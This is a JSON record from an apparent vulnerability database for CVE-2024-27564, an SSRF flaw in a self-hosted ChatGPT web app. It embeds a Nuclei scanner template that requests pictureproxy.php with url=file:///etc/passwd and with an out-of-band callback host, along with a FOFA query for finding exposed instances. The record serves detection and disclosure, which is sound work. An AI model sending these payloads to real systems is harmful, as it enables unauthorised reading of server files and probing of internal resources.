{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2024-27564/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2024-27564/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2024-27564/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2024-27564/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2024-27564/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2024-27564"},"sightings":{"href":"/api/v1/sightings/cve-2024-27564"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2024/CVE-2024-27564.yaml","nuclei_template_severity":"high","nuclei_template_yaml":"id: CVE-2024-27564\n\ninfo:\n  name: ChatGPT个人专用版 - Server Side Request Forgery\n  author: DhiyaneshDK\n  severity: high\n  description: |\n    A Server-Side Request Forgery (SSRF) in pictureproxy.php of ChatGPT commit f9f4bbc allows attackers to force the application to make arbitrary requests via injection of crafted URLs into the urlparameter.\n  impact: |\n    Attackers can force the application to make arbitrary requests including reading local files and accessing internal resources via SSRF in the pictureproxy.php file.\n  remediation: |\n    Update ChatGPT个人专用版 to a version that addresses CVE-2024-27564.\n  reference:\n    - https://github.com/dirk1983/chatgpt/issues/114\n    - https://nvd.nist.gov/vuln/detail/CVE-2024-27564\n  classification:\n    epss-score: 0.40637\n    epss-percentile: 0.98591\n    cpe: cpe:2.3:a:chanzhaoyu:chatgpt_web:*:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: chanzhaoyu\n    product: chatgpt_web\n    fofa-query: \"title=\\\"ChatGPT个人专用版\\\"\"\n  tags: cve,cve2024,chatgpt,ssrf,oast,oos,lfi,vkev,vuln,ai\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/pictureproxy.php?url=file:///etc/passwd\"\n      - \"{{BaseURL}}/pictureproxy.php?url=http://{{interactsh-url}}\"\n\n    stop-at-first-match: true\n\n    matchers-condition: or\n    matchers:\n      - type: dsl\n        dsl:\n          - status_code == 200\n          - contains(header, \"image/jpeg\")\n          - regex('root:.*:0:0:', body)\n        condition: and\n\n      - type: dsl\n        dsl:\n          - contains(interactsh_protocol, \"dns\")\n          - contains(header, \"image/jpeg\")\n          - status_code == 200\n        condition: and\n# digest: 4a0a00473045022100dbc19687f848751e00fa8cccf23af4941446d6b8c6c91a95ca97cb75afb0d4ac02203443607dfce37239577f4f97d87ef32699def07cb48d86b283264d0a47828719:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2024-27564"}